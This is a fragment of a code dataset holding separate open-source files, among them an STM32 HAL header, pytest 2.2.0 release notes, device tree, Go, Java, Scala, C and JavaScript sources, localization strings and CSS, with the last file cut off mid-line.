__STM32F7xx_HAL_DEF\n\n#ifdef __cplusplus\n extern \"C\" {\n#endif\n\n/* Includes ------------------------------------------------------------------*/\n#include \"stm32f7xx.h\"\n//#include \"Legacy/stm32_hal_legacy.h\"\n#include <stdio.h>\n/* Exported types ------------------------------------------------------------*/\n\n/** \n * @brief HAL Status structures definition \n */ \ntypedef enum \n{\n HAL_OK = 0x00U,\n HAL_ERROR = 0x01U,\n HAL_BUSY = 0x02U,\n HAL_TIMEOUT = 0x03U\n} HAL_StatusTypeDef;\n\n/** \n * @brief HAL Lock structures definition \n */\ntypedef enum \n{\n HAL_UNLOCKED = 0x00,\n HAL_LOCKED = 0x01 \n} HAL_LockTypeDef;\n\n/* Exported macro ------------------------------------------------------------*/\n#define HAL_MAX_DELAY 0xFFFFFFFFU\n\n#define HAL_IS_BIT_SET(REG, BIT) (((REG) & (BIT)) != RESET)\n#define HAL_IS_BIT_CLR(REG, BIT) (((REG) & (BIT)) == RESET)\n\n#define __HAL_LINKDMA(__HANDLE__, __PPP_DMA_FIELD__, __DMA_HANDLE__) \\\n do{ \\\n (__HANDLE__)->__PPP_DMA_FIELD__ = &(__DMA_HANDLE__); \\\n (__DMA_HANDLE__).Parent = (__HANDLE__); \\\n } while(0)\n\n//#define UNUSED(x) ((void)(x))\n\n/** @brief Reset the Handle's State field.\n * @param __HANDLE__: specifies the Peripheral Handle.\n * @note This macro can be used for the following purpose: \n * - When the Handle is declared as local variable; before passing it as parameter\n * to HAL_PPP_Init() for the first time, it is mandatory to use this macro \n * to set to 0 the Handle's \"State\" field.\n * Otherwise, \"State\" field may have any random value and the first time the function \n * HAL_PPP_Init() is called, the low level hardware initialization will be missed\n * (i.e. HAL_PPP_MspInit() will not be executed).\n * - When there is a need to reconfigure the low level hardware: instead of calling\n * HAL_PPP_DeInit() then HAL_PPP_Init(), user can make a call to this macro then HAL_PPP_Init().\n * In this later function, when the Handle's \"State\" field is set to 0, it will execute the function\n * HAL_PPP_MspInit() which will reconfigure the low level hardware.\n * @retval None\n */\n#define __HAL_RESET_HANDLE_STATE(__HANDLE__) ((__HANDLE__)->State = 0U)\n\n#if (USE_RTOS == 1)\n /* Reserved for future use */\n #error \"USE_RTOS should be 0 in the current HAL release\"\n#else\n #define __HAL_LOCK(__HANDLE__) \\\n do{ \\\n if((__HANDLE__)->Lock == HAL_LOCKED) \\\n { \\\n return HAL_BUSY; \\\n } \\\n else \\\n { \\\n (__HANDLE__)->Lock = HAL_LOCKED; \\\n } \\\n }while (0)\n\n #define __HAL_UNLOCK(__HANDLE__) \\\n do{ \\\n (__HANDLE__)->Lock = HAL_UNLOCKED; \\\n }while (0)\n#endif /* USE_RTOS */\n\n#if defined ( __GNUC__ )\n #ifndef __weak\n #define __weak __attribute__((weak))\n #endif /* __weak */\n #ifndef __packed\n #define __packed __attribute__((__packed__))\n #endif /* __packed */\n#endif /* __GNUC__ */\n\n\n/* Macro to get variable aligned on 4-bytes, for __ICCARM__ the directive \"#pragma data_alignment=4\" must be used instead */\n#if defined (__GNUC__) /* GNU Compiler */\n #ifndef __ALIGN_END\n #define __ALIGN_END __attribute__ ((aligned (4)))\n #endif /* __ALIGN_END */\n #ifndef __ALIGN_BEGIN \n #define __ALIGN_BEGIN\n #endif /* __ALIGN_BEGIN */\n#else\n #ifndef __ALIGN_END\n #define __ALIGN_END\n #endif /* __ALIGN_END */\n #ifndef __ALIGN_BEGIN \n #if defined (__CC_ARM) /* ARM Compiler */\n #define __ALIGN_BEGIN __align(4) \n #elif defined (__ICCARM__) /* IAR Compiler */\n #define __ALIGN_BEGIN \n #endif /* __CC_ARM */\n #endif /* __ALIGN_BEGIN */\n#endif /* __GNUC__ */\n\n\n/** \n * @brief __RAM_FUNC definition\n */ \n#if defined ( __CC_ARM )\n/* ARM Compiler\n ------------\n RAM functions are defined using the toolchain options. \n Functions that are executed in RAM should reside in a separate source module.\n Using the 'Options for File' dialog you can simply change the 'Code / Const' \n area of a module to a memory space in physical RAM.\n Available memory areas are declared in the 'Target' tab of the 'Options for Target'\n dialog. \n*/\n#define __RAM_FUNC HAL_StatusTypeDef \n\n#elif defined ( __ICCARM__ )\n/* ICCARM Compiler\n ---------------\n RAM functions are defined using a specific toolchain keyword \"__ramfunc\". \n*/\n#define __RAM_FUNC __ramfunc HAL_StatusTypeDef\n\n#elif defined ( __GNUC__ )\n/* GNU Compiler\n ------------\n RAM functions are defined using a specific toolchain attribute \n \"__attribute__((section(\".RamFunc\")))\".\n*/\n#define __RAM_FUNC HAL_StatusTypeDef __attribute__((section(\".RamFunc\")))\n\n#endif\n\n/** \n * @brief __NOINLINE definition\n */ \n#if defined ( __CC_ARM ) || defined ( __GNUC__ )\n/* ARM & GNUCompiler \n ---------------- \n*/\n#define __NOINLINE __attribute__ ( (noinline) )\n\n#elif defined ( __ICCARM__ )\n/* ICCARM Compiler\n ---------------\n*/\n#define __NOINLINE _Pragma(\"optimize = no_inline\")\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* ___STM32F7xx_HAL_DEF */\n\n/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/\n"} {"text": "py.test 2.2.0: test marking++, parametrization++ and duration profiling\n===========================================================================\n\npytest-2.2.0 is a test-suite compatible release of the popular\npy.test testing tool. Plugins might need upgrades. It comes\nwith these improvements:\n\n* easier and more powerful parametrization of tests:\n\n - new @pytest.mark.parametrize decorator to run tests with different arguments\n - new metafunc.parametrize() API for parametrizing arguments independently\n - see examples at http://pytest.org/latest/example/parametrize.html\n - NOTE that parametrize() related APIs are still a bit experimental\n and might change in future releases.\n\n* improved handling of test markers and refined marking mechanism:\n\n - \"-m markexpr\" option for selecting tests according to their mark\n - a new \"markers\" ini-variable for registering test markers for your project\n - the new \"--strict\" bails out with an error if using unregistered markers.\n - see examples at http://pytest.org/latest/example/markers.html\n\n* duration profiling: new \"--duration=N\" option showing the N slowest test\n execution or setup/teardown calls. This is most useful if you want to\n find out where your slowest test code is.\n\n* also 2.2.0 performs more eager calling of teardown/finalizers functions\n resulting in better and more accurate reporting when they fail\n\nBesides there is the usual set of bug fixes along with a cleanup of\npytest's own test suite allowing it to run on a wider range of environments.\n\nFor general information, see extensive docs with examples here:\n\n http://pytest.org/\n\nIf you want to install or upgrade pytest you might just type::\n\n pip install -U pytest # or\n easy_install -U pytest\n\nThanks to Ronny Pfannschmidt, David Burns, Jeff Donner, Daniel Nouri, Alfredo Deza and all who gave feedback or sent bug reports.\n\nbest,\nholger krekel\n\n\nnotes on incompatibility\n------------------------------\n\nWhile test suites should work unchanged you might need to upgrade plugins:\n\n* You need a new version of the pytest-xdist plugin (1.7) for distributing\n test runs.\n\n* Other plugins might need an upgrade if they implement\n the ``pytest_runtest_logreport`` hook which now is called unconditionally\n for the setup/teardown fixture phases of a test. You may choose to\n ignore setup/teardown failures by inserting \"if rep.when != 'call': return\"\n or something similar. Note that most code probably \"just\" works because\n the hook was already called for failing setup/teardown phases of a test\n so a plugin should have been ready to grok such reports already.\n\n\nChanges between 2.1.3 and 2.2.0\n----------------------------------------\n\n- fix issue90: introduce eager tearing down of test items so that\n teardown function are called earlier.\n- add an all-powerful metafunc.parametrize function which allows to\n parametrize test function arguments in multiple steps and therefore\n from independent plugins and places.\n- add a @pytest.mark.parametrize helper which allows to easily\n call a test function with different argument values.\n- Add examples to the \"parametrize\" example page, including a quick port\n of Test scenarios and the new parametrize function and decorator.\n- introduce registration for \"pytest.mark.*\" helpers via ini-files\n or through plugin hooks. Also introduce a \"--strict\" option which\n will treat unregistered markers as errors\n allowing to avoid typos and maintain a well described set of markers\n for your test suite. See examples at http://pytest.org/latest/mark.html\n and its links.\n- issue50: introduce \"-m marker\" option to select tests based on markers\n (this is a stricter and more predictable version of \"-k\" in that \"-m\"\n only matches complete markers and has more obvious rules for and/or\n semantics.\n- new feature to help optimizing the speed of your tests:\n --durations=N option for displaying N slowest test calls\n and setup/teardown methods.\n- fix issue87: --pastebin now works with python3\n- fix issue89: --pdb with unexpected exceptions in doctest work more sensibly\n- fix and cleanup pytest's own test suite to not leak FDs\n- fix issue83: link to generated funcarg list\n- fix issue74: pyarg module names are now checked against imp.find_module false positives\n- fix compatibility with twisted/trial-11.1.0 use cases\n"} {"text": "name=Voice of Grace\nimage=https://magiccards.info/scans/en/us/54.jpg\nvalue=3.257\nrarity=U\ntype=Creature\nsubtype=Angel\ncost={3}{W}\npt=2/2\nability=Flying, protection from black\ntiming=main\noracle=Flying, protection from black\n"} {"text": "// SPDX-License-Identifier: GPL-2.0+\n/*\n * NXP ls1012a 2G5RDB board device tree source\n *\n * Copyright 2017 NXP\n */\n\n/dts-v1/;\n#include \"fsl-ls1012a.dtsi\"\n\n/ {\n\tmodel = \"LS1012A 2G5RDB Board\";\n\n\taliases {\n\t\tspi0 = &qspi;\n\t};\n\n\tchosen {\n\t\tstdout-path = &duart0;\n\t};\n};\n\n&qspi {\n\tbus-num = <0>;\n\tstatus = \"okay\";\n\n\tqflash0: s25fl128s@0 {\n\t\t#address-cells = <1>;\n\t\t#size-cells = <1>;\n\t\tcompatible = \"jedec,spi-nor\";\n\t\tspi-max-frequency = <20000000>;\n\t\treg = <0>;\n\t};\n};\n\n&i2c0 {\n\tstatus = \"okay\";\n};\n\n&duart0 {\n\tstatus = \"okay\";\n};\n\n&sata {\n\tstatus = \"okay\";\n};\n"} {"text": "package org.jboss.weld.tests.producer.method.broken.invalidBeanType;\n\nimport jakarta.enterprise.inject.Produces;\n\n/**\n* @author <a href=\"mailto:mluksa@redhat.com\">Marko Luksa</a>\n*/\npublic class MultiDimensionalWildcardTypeArrayProducer {\n @Produces\n public Foo<?>[][][] produceWildcardFooArray() {\n return null;\n }\n}\n"} {"text": "/* No comment */\n\"Listing directory {0} failed\" = \"Pridobitev seznama vsebine imenika ni uspela {0}\";\n\n/* Touch file failed */\n\"Cannot create {0}\" = \"Datoteke ni mogoče ustvariti {0}\";\n\n/* Create directory failed */\n\"Cannot create folder {0}\" = \"Mape ni mogoče ustvariti {0}\";\n\n/* Moving file failed */\n\"Cannot rename {0}\" = \"Datoteke ni mogoče preimenovati {0}\";\n\n/* Reading metadata of file failed */\n\"Failure to read attributes of {0}\" = \"Atributov datoteke ni mogoče prebrati\";\n\n/* Writing metadata of file failed */\n\"Failure to write attributes of {0}\" = \"Atributov datoteke ni mogoče zapisati\";\n\n/* Removing file failed */\n\"Cannot delete {0}\" = \"Datoteke ni mogoče izbrisati {0}\";\n\n/* Ownership of file */\n\"Cannot change owner\" = \"Lastnika ni mogoče spremeniti\";\n\n/* Group ownership of file or folder */\n\"Cannot change group\" = \"Skupine ni mogoče spremeniti\";\n\n/* Fails to change UNIX access permissions */\n\"Cannot change permissions of {0}\" = \"Dovoljenj ni mogoče spremeniti\";\n\"Cannot change timestamp of {0}\" = \"Časovnega žiga ni mogoče spremeniti\";\n\n/* Mount failure */\n\"Connection failed\" = \"Povezava ni uspela\";\n\n/* Transfer failure */\n\"Download {0} failed\" = \"Prenos ni uspel\";\n\n/* Transfer failure */\n\"Upload {0} failed\" = \"Prenos na strežnik ni uspel\";\n\n/* Content distribution network configuration failures */\n\"Cannot read CDN configuration\" = \"CDN konfiguracije ni mogoče prebrati\";\n\"Cannot write CDN configuration\" = \"CDN konfiguracije ni mogoče zapisati\";\n\n/* Container configuration such as logging or versioning */\n\"Cannot read container configuration\" = \"Vsebnikove konfiguracije ni mogoče prebrati\";\n\n\"Interoperability failure\" = \"Interoperability failure\";\n\"Access denied\" = \"Access denied\";\n\"File not found\" = \"File not found\";\n\"Insufficient disk space\" = \"Insufficient disk space\";\n\n\"DNS lookup for {0} failed\" = \"DNS lookup for {0} failed\";\n\n\"Mismatch between MD5 hash {0} of uploaded data and ETag {1} returned by the server\" = \"Mismatch between MD5 hash {0} of uploaded data and ETag {1} returned by the server\";"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"1.0\" toolsVersion=\"1906\" systemVersion=\"11A511\" targetRuntime=\"iOS.CocoaTouch.iPad\" nextObjectID=\"6\" propertyAccessControl=\"none\" initialViewController=\"2\">\n <dependencies>\n <development defaultVersion=\"4200\" identifier=\"xcode\"/>\n <plugIn identifier=\"com.apple.InterfaceBuilder.IBCocoaTouchPlugin\" version=\"902\"/>\n </dependencies>\n <scenes>\n <scene sceneID=\"4\">\n <objects>\n <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"3\" sceneMemberID=\"firstResponder\"/>\n <viewController id=\"2\" customClass=\"ViewController\" sceneMemberID=\"viewController\">\n <view key=\"view\" contentMode=\"scaleToFill\" id=\"5\">\n <rect key=\"frame\" x=\"0.0\" y=\"20\" width=\"768\" height=\"1004\"/>\n <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n <subviews/>\n <color key=\"backgroundColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"calibratedWhite\"/>\n </view>\n </viewController>\n </objects>\n </scene>\n </scenes>\n <simulatedMetricsContainer key=\"defaultSimulatedMetrics\">\n <simulatedStatusBarMetrics key=\"statusBar\" statusBarStyle=\"blackTranslucent\"/>\n <simulatedOrientationMetrics key=\"orientation\"/>\n <simulatedScreenMetrics key=\"destination\"/>\n </simulatedMetricsContainer>\n</document>"} {"text": "<resources xmlns:android=\"http://schemas.android.com/apk/res/android\">\r\n <item name=\"ic_menu_camera\" type=\"drawable\">@android:drawable/ic_menu_camera</item>\r\n <item name=\"ic_menu_gallery\" type=\"drawable\">@android:drawable/ic_menu_gallery</item>\r\n <item name=\"ic_menu_slideshow\" type=\"drawable\">@android:drawable/ic_menu_slideshow</item>\r\n <item name=\"ic_menu_manage\" type=\"drawable\">@android:drawable/ic_menu_manage</item>\r\n <item name=\"ic_menu_share\" type=\"drawable\">@android:drawable/ic_menu_share</item>\r\n <item name=\"ic_menu_send\" type=\"drawable\">@android:drawable/ic_menu_send</item>\r\n</resources>\r\n"} {"text": "class ForSomeVsUnapply {\n def test: Unit = {\n def makeWrap: Wrap = ???\n def useRep[e](rep: (e, X[e])) = ()\n\n val repUnapply = Wrap.unapply(makeWrap).get\n useRep(repUnapply) // okay\n\n val Wrap(rep0) = makeWrap\n useRep(rep0) // error\n\n val rep = makeWrap match {\n case Wrap(r) => r\n };\n\n useRep(rep) // error\n }\n}\n\nclass X[e]\n\ncase class Wrap(rep: (e, X[e]) forSome { type e })\n"} {"text": "/*\n *\n * Copyright 2014 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage grpc\n\nimport (\n\t\"google.golang.org/grpc/encoding\"\n\t_ \"google.golang.org/grpc/encoding/proto\" // to register the Codec for \"proto\"\n)\n\n// baseCodec contains the functionality of both Codec and encoding.Codec, but\n// omits the name/string, which vary between the two and are not needed for\n// anything besides the registry in the encoding package.\ntype baseCodec interface {\n\tMarshal(v interface{}) ([]byte, error)\n\tUnmarshal(data []byte, v interface{}) error\n}\n\nvar _ baseCodec = Codec(nil)\nvar _ baseCodec = encoding.Codec(nil)\n\n// Codec defines the interface gRPC uses to encode and decode messages.\n// Note that implementations of this interface must be thread safe;\n// a Codec's methods can be called from concurrent goroutines.\n//\n// Deprecated: use encoding.Codec instead.\ntype Codec interface {\n\t// Marshal returns the wire format of v.\n\tMarshal(v interface{}) ([]byte, error)\n\t// Unmarshal parses the wire format into v.\n\tUnmarshal(data []byte, v interface{}) error\n\t// String returns the name of the Codec implementation. This is unused by\n\t// gRPC.\n\tString() string\n}\n"} {"text": "/*\n * ASort() function\n *\n * Copyright 1999-2001 Viktor Szakats (vszakats.net/harbour)\n * Copyright 1999-2001 Jose Lalin <dezac@corevia.com>\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2, or (at your option)\n * any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; see the file LICENSE.txt. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA (or visit https://www.gnu.org/licenses/).\n *\n * As a special exception, the Harbour Project gives permission for\n * additional uses of the text contained in its release of Harbour.\n *\n * The exception is that, if you link the Harbour libraries with other\n * files to produce an executable, this does not by itself cause the\n * resulting executable to be covered by the GNU General Public License.\n * Your use of that executable is in no way restricted on account of\n * linking the Harbour library code into it.\n *\n * This exception does not however invalidate any other reasons why\n * the executable file might be covered by the GNU General Public License.\n *\n * This exception applies only to the code released by the Harbour\n * Project under the name Harbour. If you copy code from other\n * Harbour Project or Free Software Foundation releases into a copy of\n * Harbour, as the General Public License permits, the exception does\n * not apply to the code that you add in this way. To avoid misleading\n * anyone as to the status of such modified files, you must delete\n * this exception notice from them.\n *\n * If you write modifications of your own for Harbour, it is your choice\n * whether to permit this exception to apply to your modifications.\n * If you do not wish that, delete this exception notice.\n *\n */\n\n/* FIXME: The sorting engine requires signed indexes to work, this means\n that arrays larger than 2^31 elements cannot be sorted. [vszakats] */\n\n/* NOTE: Based on PD code found in\n SORTING AND SEARCHING ALGORITHMS: A COOKBOOK, BY THOMAS NIEMANN\n https://www.cs.auckland.ac.nz/~jmor159/PLDS210/niemann/s_man.htm */\n\n#include \"hbvmint.h\"\n#include \"hbapiitm.h\"\n#include \"hbvm.h\"\n\nstatic HB_BOOL hb_itemIsLess( PHB_BASEARRAY pBaseArray, PHB_ITEM pBlock,\n HB_SIZE nItem1, HB_SIZE nItem2 )\n{\n PHB_ITEM pItem1 = pBaseArray->pItems + nItem1,\n pItem2 = pBaseArray->pItems + nItem2;\n\n if( pBlock )\n {\n PHB_ITEM pRet;\n\n /* protection against array resizing by user codeblock */\n if( pBaseArray->nLen <= nItem1 || pBaseArray->nLen <= nItem2 )\n return HB_FALSE;\n\n hb_vmPushEvalSym();\n hb_vmPush( pBlock );\n hb_vmPush( pItem1 );\n hb_vmPush( pItem2 );\n hb_vmSend( 2 );\n\n pRet = hb_param( -1, HB_IT_ANY );\n\n /* CA-Cl*pper always takes return value as logical item\n * accepting 0, 1 as numeric representation of HB_FALSE/HB_TRUE\n */\n return ( HB_IS_LOGICAL( pRet ) || HB_IS_NUMERIC( pRet ) ) ?\n hb_itemGetL( pRet ) : HB_TRUE;\n }\n\n /* Do native compare when no codeblock is supplied */\n\n if( HB_IS_STRING( pItem1 ) && HB_IS_STRING( pItem2 ) )\n return hb_itemStrCmp( pItem1, pItem2, HB_FALSE ) < 0;\n else if( HB_IS_NUMINT( pItem1 ) && HB_IS_NUMINT( pItem2 ) )\n /* intentionally separate comparison for integer numbers\n to avoid precision lose in 64-bit integer to double conversion */\n return hb_itemGetNInt( pItem1 ) < hb_itemGetNInt( pItem2 );\n else if( HB_IS_NUMERIC( pItem1 ) && HB_IS_NUMERIC( pItem2 ) )\n return hb_itemGetND( pItem1 ) < hb_itemGetND( pItem2 );\n else if( HB_IS_TIMESTAMP( pItem1 ) && HB_IS_TIMESTAMP( pItem2 ) )\n {\n long lDate1, lTime1, lDate2, lTime2;\n\n hb_itemGetTDT( pItem1, &lDate1, &lTime1 );\n hb_itemGetTDT( pItem2, &lDate2, &lTime2 );\n return lDate1 == lDate2 ? lTime1 < lTime2 : lDate1 < lDate2;\n }\n else if( HB_IS_DATETIME( pItem1 ) && HB_IS_DATETIME( pItem2 ) )\n /* it's not exact comparison, compare only Julian date */\n return hb_itemGetDL( pItem1 ) < hb_itemGetDL( pItem2 );\n else if( HB_IS_LOGICAL( pItem1 ) && HB_IS_LOGICAL( pItem2 ) )\n return hb_itemGetL( pItem1 ) < hb_itemGetL( pItem2 );\n else\n {\n /* NOTE: For non-matching types CA-Cl*pper sorts always like this:\n Array/Object Block String Logical Date Numeric NIL [jlalin] */\n\n int iWeight1;\n int iWeight2;\n\n if( HB_IS_ARRAY( pItem1 ) ) iWeight1 = 1;\n else if( HB_IS_BLOCK( pItem1 ) ) iWeight1 = 2;\n else if( HB_IS_STRING( pItem1 ) ) iWeight1 = 3;\n else if( HB_IS_LOGICAL( pItem1 ) ) iWeight1 = 4;\n else if( HB_IS_DATETIME( pItem1 ) ) iWeight1 = 5;\n else if( HB_IS_NUMERIC( pItem1 ) ) iWeight1 = 6;\n else iWeight1 = 7;\n\n if( HB_IS_ARRAY( pItem2 ) ) iWeight2 = 1;\n else if( HB_IS_BLOCK( pItem2 ) ) iWeight2 = 2;\n else if( HB_IS_STRING( pItem2 ) ) iWeight2 = 3;\n else if( HB_IS_LOGICAL( pItem2 ) ) iWeight2 = 4;\n else if( HB_IS_DATETIME( pItem2 ) ) iWeight2 = 5;\n else if( HB_IS_NUMERIC( pItem2 ) ) iWeight2 = 6;\n else iWeight2 = 7;\n\n return iWeight1 < iWeight2;\n }\n}\n\n#ifdef HB_CLP_STRICT\n\n/* partition array pItems[lb..ub] */\n\nstatic HB_ISIZ hb_arraySortQuickPartition( PHB_BASEARRAY pBaseArray, HB_ISIZ lb, HB_ISIZ ub, PHB_ITEM pBlock )\n{\n HB_ISIZ i, j;\n\n /* select pivot and exchange with 1st element */\n i = lb + ( ( ub - lb ) >> 1 );\n if( i != lb )\n hb_itemRawSwap( pBaseArray->pItems + lb, pBaseArray->pItems + i );\n\n /* sort lb+1..ub based on pivot */\n i = lb + 1;\n j = ub;\n\n for( ;; )\n {\n while( i < j && hb_itemIsLess( pBaseArray, pBlock, i, lb ) )\n i++;\n\n while( j >= i && hb_itemIsLess( pBaseArray, pBlock, lb, j ) )\n j--;\n\n if( i >= j )\n break;\n\n /* Swap the items */\n hb_itemRawSwap( pBaseArray->pItems + i, pBaseArray->pItems + j );\n j--;\n i++;\n }\n\n /* pivot belongs in pBaseArray->pItems[ j ] */\n if( j > lb && pBaseArray->nLen > ( HB_SIZE ) j )\n hb_itemRawSwap( pBaseArray->pItems + lb, pBaseArray->pItems + j );\n\n return j;\n}\n\n/* sort array pBaseArray->pItems[lb..ub] */\n\nstatic void hb_arraySortQuick( PHB_BASEARRAY pBaseArray, HB_ISIZ lb, HB_ISIZ ub, PHB_ITEM pBlock )\n{\n while( lb < ub )\n {\n HB_ISIZ m;\n\n if( ( HB_SIZE ) ub >= pBaseArray->nLen )\n {\n ub = pBaseArray->nLen - 1;\n if( lb >= ub )\n break;\n }\n\n /* partition into two segments */\n m = hb_arraySortQuickPartition( pBaseArray, lb, ub, pBlock );\n\n /* sort the smallest partition to minimize stack requirements */\n if( m - lb <= ub - m )\n {\n hb_arraySortQuick( pBaseArray, lb, m - 1, pBlock );\n lb = m + 1;\n }\n else\n {\n hb_arraySortQuick( pBaseArray, m + 1, ub, pBlock );\n ub = m - 1;\n }\n }\n}\n\nstatic void hb_arraySortStart( PHB_BASEARRAY pBaseArray, PHB_ITEM pBlock,\n HB_SIZE nStart, HB_SIZE nCount )\n{\n hb_arraySortQuick( pBaseArray, nStart, nStart + nCount - 1, pBlock );\n}\n\n#else\n\nstatic HB_BOOL hb_arraySortDO( PHB_BASEARRAY pBaseArray, PHB_ITEM pBlock,\n HB_SIZE * pSrc, HB_SIZE * pBuf, HB_SIZE nCount )\n{\n if( nCount > 1 )\n {\n HB_SIZE nCnt1, nCnt2, * pPtr1, * pPtr2, * pDst;\n HB_BOOL fBuf1, fBuf2;\n\n nCnt1 = nCount >> 1;\n nCnt2 = nCount - nCnt1;\n pPtr1 = &pSrc[ 0 ];\n pPtr2 = &pSrc[ nCnt1 ];\n\n fBuf1 = hb_arraySortDO( pBaseArray, pBlock, pPtr1, &pBuf[ 0 ], nCnt1 );\n fBuf2 = hb_arraySortDO( pBaseArray, pBlock, pPtr2, &pBuf[ nCnt1 ], nCnt2 );\n if( fBuf1 )\n pDst = pBuf;\n else\n {\n pDst = pSrc;\n pPtr1 = &pBuf[ 0 ];\n }\n if( ! fBuf2 )\n pPtr2 = &pBuf[ nCnt1 ];\n\n while( nCnt1 > 0 && nCnt2 > 0 )\n {\n if( hb_itemIsLess( pBaseArray, pBlock, *pPtr2, *pPtr1 ) )\n {\n *pDst++ = *pPtr2++;\n nCnt2--;\n }\n else\n {\n *pDst++ = *pPtr1++;\n nCnt1--;\n }\n }\n if( nCnt1 > 0 )\n {\n do\n *pDst++ = *pPtr1++;\n while( --nCnt1 );\n }\n else if( nCnt2 > 0 && fBuf1 == fBuf2 )\n {\n do\n *pDst++ = *pPtr2++;\n while( --nCnt2 );\n }\n return ! fBuf1;\n }\n return HB_TRUE;\n}\n\nstatic void hb_arraySortStart( PHB_BASEARRAY pBaseArray, PHB_ITEM pBlock,\n HB_SIZE nStart, HB_SIZE nCount )\n{\n HB_SIZE * pBuffer, * pDest, * pPos, nPos, nTo;\n\n pBuffer = ( HB_SIZE * ) hb_xgrab( sizeof( HB_SIZE ) * 2 * nCount );\n for( nPos = 0; nPos < nCount; ++nPos )\n pBuffer[ nPos ] = nStart + nPos;\n\n if( hb_arraySortDO( pBaseArray, pBlock, pBuffer, &pBuffer[ nCount ], nCount ) )\n pPos = ( pDest = pBuffer ) + nCount;\n else\n pDest = ( pPos = pBuffer ) + nCount;\n\n /* protection against array resizing by user codeblock */\n if( nStart + nCount > pBaseArray->nLen )\n {\n if( pBaseArray->nLen > nStart )\n {\n for( nPos = nTo = 0; nPos < nCount; ++nPos )\n {\n if( pDest[ nPos ] < pBaseArray->nLen )\n pDest[ nTo++ ] = pDest[ nPos ];\n }\n nCount = nTo;\n }\n else\n nCount = 0;\n }\n\n for( nPos = 0; nPos < nCount; ++nPos )\n pPos[ pDest[ nPos ] - nStart ] = nPos;\n\n for( nPos = 0; nPos < nCount; ++nPos )\n {\n if( nPos + nStart != pDest[ nPos ] )\n {\n hb_itemRawSwap( pBaseArray->pItems + nPos + nStart,\n pBaseArray->pItems + pDest[ nPos ] );\n pDest[ pPos[ nPos ] ] = pDest[ nPos ];\n pPos[ pDest[ nPos ] - nStart ] = pPos[ nPos ];\n }\n }\n\n hb_xfree( pBuffer );\n}\n#endif /* HB_CLP_STRICT */\n\nHB_BOOL hb_arraySort( PHB_ITEM pArray, HB_SIZE * pnStart, HB_SIZE * pnCount, PHB_ITEM pBlock )\n{\n HB_TRACE( HB_TR_DEBUG, ( \"hb_arraySort(%p, %p, %p, %p)\", ( void * ) pArray, ( void * ) pnStart, ( void * ) pnCount, ( void * ) pBlock ) );\n\n if( HB_IS_ARRAY( pArray ) )\n {\n PHB_BASEARRAY pBaseArray = pArray->item.asArray.value;\n HB_SIZE nLen = pBaseArray->nLen;\n HB_SIZE nStart;\n\n if( pnStart && *pnStart >= 1 )\n nStart = *pnStart;\n else\n nStart = 1;\n\n if( nStart <= nLen )\n {\n HB_SIZE nCount;\n\n if( pnCount && *pnCount >= 1 && ( *pnCount <= nLen - nStart ) )\n nCount = *pnCount;\n else\n nCount = nLen - nStart + 1;\n\n if( nStart + nCount > nLen ) /* check range */\n nCount = nLen - nStart + 1;\n\n /* Optimize when only one or no element is to be sorted */\n if( nCount > 1 )\n hb_arraySortStart( pBaseArray, pBlock, nStart - 1, nCount );\n }\n\n return HB_TRUE;\n }\n else\n return HB_FALSE;\n}\n\nHB_FUNC( ASORT )\n{\n PHB_ITEM pArray = hb_param( 1, HB_IT_ARRAY );\n\n if( pArray && ! hb_arrayIsObject( pArray ) )\n {\n HB_SIZE nStart = hb_parns( 2 );\n HB_SIZE nCount = hb_parns( 3 );\n\n hb_arraySort( pArray,\n HB_ISNUM( 2 ) ? &nStart : NULL,\n HB_ISNUM( 3 ) ? &nCount : NULL,\n hb_param( 4, HB_IT_EVALITEM ) );\n\n hb_itemReturn( pArray ); /* ASort() returns the array itself */\n }\n}\n"} {"text": "/**\n * A specialized version of `_.every` for arrays without support for callback\n * shorthands and `this` binding.\n *\n * @private\n * @param {Array} array The array to iterate over.\n * @param {Function} predicate The function invoked per iteration.\n * @returns {boolean} Returns `true` if all elements pass the predicate check,\n * else `false`.\n */\nfunction arrayEvery(array, predicate) {\n var index = -1,\n length = array.length;\n\n while (++index < length) {\n if (!predicate(array[index], index, array)) {\n return false;\n }\n }\n return true;\n}\n\nmodule.exports = arrayEvery;\n"} {"text": "p, h1, h2, h3, h4, h5, h6, hgroup, aside, div, section, article, blockquote, address, pre, figure {display: block; padding-top: 10px; border: 1px dashed #BBB; background: transparent no-repeat}\r\np, h1, h2, h3, h4, h5, h6, hgroup, aside, div, section, article, address, pre, figure {margin-left: 3px}\r\nsection, article, address, hgroup, aside, figure {margin: 0 0 1em 3px}\r\n\r\np {background-image: url(data:image/gif;base64,R0lGODlhCQAJAJEAAAAAAP///7u7u////yH5BAEAAAMALAAAAAAJAAkAAAIQnG+CqCN/mlyvsRUpThG6AgA7)}\r\nh1 {background-image: url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGu1JuxHoAfRNRW3TWXyF2YiRUAOw==)}\r\nh2 {background-image: url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8Hybbx4oOuqgTynJd6bGlWg3DkJzoaUAAAOw==)}\r\nh3 {background-image: 